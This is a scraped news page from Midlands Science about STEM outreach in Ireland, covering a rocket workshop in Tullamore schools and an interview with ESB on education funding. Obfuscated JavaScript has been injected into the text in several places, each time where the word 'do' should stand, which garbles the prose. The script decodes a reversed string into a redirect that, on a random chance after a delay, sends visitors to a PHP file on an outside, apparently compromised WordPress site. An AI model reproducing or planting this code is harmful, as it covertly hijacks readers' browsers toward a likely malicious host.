Rocket Making Fun for Tullamore Schools

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Local development company Midlands Science recently teamed up with Tullamore based company, Integra LifeSciences Ireland Ltd to deliver an innovative science initiative to two fortunate schools in Tullamore. Astronomer, Lecturer and Space Enthusiast, Seanie Morris, visited both St. Philomena’s NS and Scoil Mhuire and provided pupils with his popular ‘Make& Launch A Rocket Workshop.’ This involved an insight in to the his tory of propulsion combined with a little bit of arts and craft, finishing up with an experiment involving some chemistry on how a rocket is thrust upwards.

John O’ Donovan, ‎Plant Manager at Integra LifeSciences Ireland Ltd commented,

‘Integra was delighted to recently partner with Midlands Science as a corporate sponsor in order to deliver this fun and interactive science event to local primary schools. It is very important to us as a company to seek opportunities where we can play a role in promoting science education and the message that science is around us in so many aspects of daily life. The earlier that science can be introduced in young classrooms the better and these inclusive, hands-on workshops are an ideal way of $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing so by teaching pupils how to carry out a basic science investigation. We hope that this type of activity will inspire them to think about science and its diversity when it comes to second level and future subject choices.’

Midlands Science is a local development company working to progress economic development and education attainment in the Midlands of Ireland. It is funded by a mixture of public and private funding. Since 2008, the company has focused on a work programme dealing with STEM education (Science, Technology, Engineering and Maths) and the key objective is to grow the exposure and teaching of STEM subjects in schools through relationships with Department of Science & Engineering, Science Foundation Ireland and a number of academic and corporate partners with a science related focus, bringing international best practice and creating relevant and fruitful opportunities.

CEO of Midlands Science, Jackie Gorman commented,

‘We were delighted to be able to collaborate with such a forward thinking company as Integra LifeSciences to deliver this event and we are also partnering with a number of other local schools and organisations to create opportunities which aim to excite students about science and demonstrate how it connects to real life. It’s about creating greater interest in science education and careers which of course benefits the Midland region for the future.’

Promoting STEM Education with ESB

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We are delighted and proud to be working with leading utility company, ESB this year to help spread messages about the importance of STEM education and we caught up with CSR Coordina tor, Anne Cooney to find out more about the work that EB is $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing in this area.

In what kinds of ways $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ESB help develop future skills in science, technology, engineering?

From our perspective, as a leading Irish employer, it makes sense for us to support our young people in developing these core skills.  After all, they are our workforce of the future.

We, in common with many other Irish companies, need access to staff with strong science, technology, maths and literacy skills and all of these are grounded in getting our young children off to the best educational start possible.  ESB supports a wide range of initiatives across the country working to raise awareness and encourage and influence participation in STEM.  Initiatives include Dublin Science Gallery, I Wish, TechSpace, and Midlands Science.  More information can be found at https://esb.ie/acting-responsibly/community-stem-and-the-arts/promoting-innovation-through-stem.

 

Do you work with educationally disadvantaged communities and if so what types of projects $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you feel work well?

ESB’s Energy for Generations Fund sees over €2m per year disbursed across a range of community and issues-based initiatives. Each year the Fund awards €1m in direct funding through a quarterly fund to charities working in the areas of suicide prevention, homelessness and education access and support.

ESB has been supporting initiatives in the areas of suicide prevention and homelessness since 2005 and we introduced a new focus on education in 2014, which recognises the need for educational supports at all levels to ensure that Ireland has the skills it needs to compete effectively in the future.  We support organisations working in the area of education in very practical and effective ways to support our young people in developing core skills.  Without a strong foundation in the basics, children will find their path through education, to whatever level they aspire, much more of a struggle.

ESB is also conscious that our staff and our company have been the beneficiaries of his torically high standards of educational delivery.  We have a duty to acknowledge and repay that investment made in us and we are pleased to be the national partner with An Cosán Virtual Community College.  There are many barriers for people across Ireland in accessing further and higher education and An Cosán VCC is an innovative new programme which has the power to break $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down these barriers and offers a unique opportunity for anyone wishing to develop their skills and achieve their full potential.

How $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you think we can $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do more to encourage young children to take an interest in science and technology? Are there any recommended ways for teachers to inform pupils about the electricity distribution network in a fun and exciting way?

We need to introduce young children to STEM at an early age – and show that it is fun!  I am a firm believer that the earlier we start with educating our children, parents and teachers the better the future for all of us.  We need to make STEM more appealing and demonstrate its relevance by showing how it is key to solving different challenges.  And we need to show that it’s just as cool for girls to enjoy maths as it is for boys.

Electricity is so much part of daily life that we often take it for granted. It is a powerful and versatile energy but can be dangerous if not used properly.  So it is essential to be aware of the potential dangers and make safety a priority for everyone.  To raise awareness and educate school going children about electricity, ESB Networks has developed Junior and Senior Lesson Plans specifically designed to work with the electricity strands of the Science Curriculum.  These lesson plans and other fun and educational resources can be accessed here.

Are there enough young people studying engineering at third level and are there currently enough graduates in STEM fields?

There is a worldwide skills shortage in STEM – and Ireland is not immune.  There are not enough young people studying engineering at third level, and even fewer females.  Many believe that if we can fix the gender gap, we can alleviate the skills shortage. Figures from the Central Statistics Office show that less than 25 per cent of the approximate 120,000 people working in STEM related jobs are female. As such, there is a significant focus now is on encouraging more females to consider and explore the world of STEM subjects.